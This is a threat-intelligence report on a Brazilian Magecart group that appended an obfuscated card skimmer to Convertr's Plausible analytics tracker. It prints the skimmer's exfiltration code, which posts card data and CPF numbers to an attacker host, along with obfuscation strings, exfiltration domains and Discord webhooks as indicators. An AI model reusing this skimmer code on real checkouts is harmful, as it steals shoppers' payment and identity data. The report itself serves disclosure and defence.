Notorious Brazilian Magecart group hijacks Convertr checkouts via Plausible analytics

Convertr runs the online stores and checkout of dozens of Brazilian fashion brands. Convertr says its merchants have sold more than R$2 billion (about €320 million) through the platform. All of them load a tracker from analytics.convertr.app.br, Convertr's own Plausible analytics server. The attacker appended a skimmer to that one file. Every Convertr checkout loaded it.

We notified Convertr but received no response. On 26 October, Convertr was still serving the skimmer.

How the skimmer works

Plausible is an open source alternative to Google Analytics. Convertr runs the free Community Edition on its own server. The infected tracker is the stock Plausible script, followed by an obfuscated block of character codes that is decoded and run with eval.

The skimmer only activates on checkout.convertr pages. It reads the card number, expiry, CVV, card holder name and CPF from the payment form, and from the requests the checkout sends to its payment API. When the shopper places the order, it sends everything to 1x0.is:

var raw = D.c + "|" + D.m + "|" + D.y + "|" + D.v + "|" + (D.p || "") + "|" + (D.n || "") + "|ctr";
fetch("https://1x0.is/ws", {
  method: "POST",
  body: btoa(unescape(encodeURIComponent(raw))),
  mode: "no-cors",
  keepalive: true,
});

The attacker updated the skimmer within two days. The first version, seen on 24 October, used generic field patterns. Two days later, a new version targeted the exact field names of the Convertr payment API.

The CPF is the Brazilian taxpayer number. Brazilian checkouts ask for it with card payments. Banks also use it to identify their customers.

A notorious Brazilian Magecart group

Sansec has tracked this group since July 2024. It has infected dozens of stores running Magento, OpenCart and WooCommerce, almost all in Brazil. Some stores ran its skimmer for nearly two years.

Until now, the group hacked stores one at a time. Convertr is the first supply chain attack we have seen from it.

A day earlier, the same 1x0.is/ws endpoint appeared in a skimmer on another Brazilian store.

Its fingerprints have stayed the same since 2024:

• a pipe-delimited record of card number, month, year, CVV, CPF and name, ending with a short victim tag (ctr for Convertr)
• exfiltration endpoints with Portuguese names, such as cartao.php (card) and pagamento.php (payment)
• short exfiltration domains, mostly three-letter .is names such as snf.is, anl.is and 1x0.is, replaced every few months (full list in the IOCs below). Some builds post to Discord webhooks or to scripts planted on other hacked stores instead.
• skimmers for Brazilian payment methods: e.Rede, PagSeguro, Pagar.me and Mercado Pago, plus a variant that swaps the PIX payment QR code for the attacker's own

Suspected entry point: Plausible CVE-2026-8467

Convertr installed Plausible CE 3.0 in 2025 and never updated it. Versions 3.0.0 through 3.2.0 have a critical flaw, CVE-2026-8467: anyone can run commands on the server through a component library that Plausible exposed at /storybook without a login. Plausible fixed it in May 2026.

Plausible serves the tracker straight from a file on disk. An attacker who changes that file infects every site that embeds the tracker. We have not seen Convertr's server logs, so we cannot confirm that this was the entry point.

What to do

If you paid by card on a Brazilian store since 24 October and the payment page address contained checkout.convertr, ask your bank to block and replace the card. Watch for fraud with your CPF as well.

If your store runs on Convertr, ask Convertr to confirm that the tracker script is clean, and inform your payment provider. Browsers cache the infected script for up to 24 hours, so shoppers remain at risk for that long after the cleanup.

If you run Plausible CE yourself, upgrade to 3.2.1 or later and search your access logs for requests to /storybook. If you find any, rebuild the server, rotate its secrets and compare the files in priv/tracker/js/ with the official release.

This group also targets Magento, OpenCart and WooCommerce stores directly. Run eComscan to check your store for its skimmers.

Indicators of compromise

# Exfiltration
https://1x0.is/ws
https://1x0.is/ws/<base64>

# Infected file, sha256 on 26 October
https://analytics.convertr.app.br/js/script.pageview-props.tagged-events.js
ee4618d24737eff785e5a267b55903d5ef6ff7ecbeb099347a67fee77734d7f7

# Skimmer strings
indexOf('checkout.convertr')
_s+=String.fromCharCode(_a[_i]);(0,eval)(_s)

# Earlier exfiltration domains of the same group
snf.is
kk.land
nmn.is
kof.one
anl.is
xsox.diy
eqp.is
shy.is
blz.is
tray.is
miorl.net
xwv.is
fasthook.app
antiddos-protection.net

# Discord webhooks used for exfiltration, by webhook ID
discord.com/api/webhooks/1349318491479605268
discord.com/api/webhooks/1349948669419327508
discord.com/api/webhooks/1351613753069801583
discord.com/api/webhooks/1398562090934993036
discord.com/api/webhooks/1414969348262596778
discord.com/api/webhooks/1557650706259902495

Timeline

Read more

• Magecart skimmer turns Stripe into a malware command server
• GorgonAgora: 4,800+ fake storefronts skim cards across hundreds of impersonated brands
• Critical FunnelKit vulnerability threatens 40,000+ WooCommerce checkouts
• deepveindrilling.com: Magento CMS block loader hits 953 stores
• Brevo supply chain attack hits 100k+ sites with Wordpress backdoors and Clickfix malware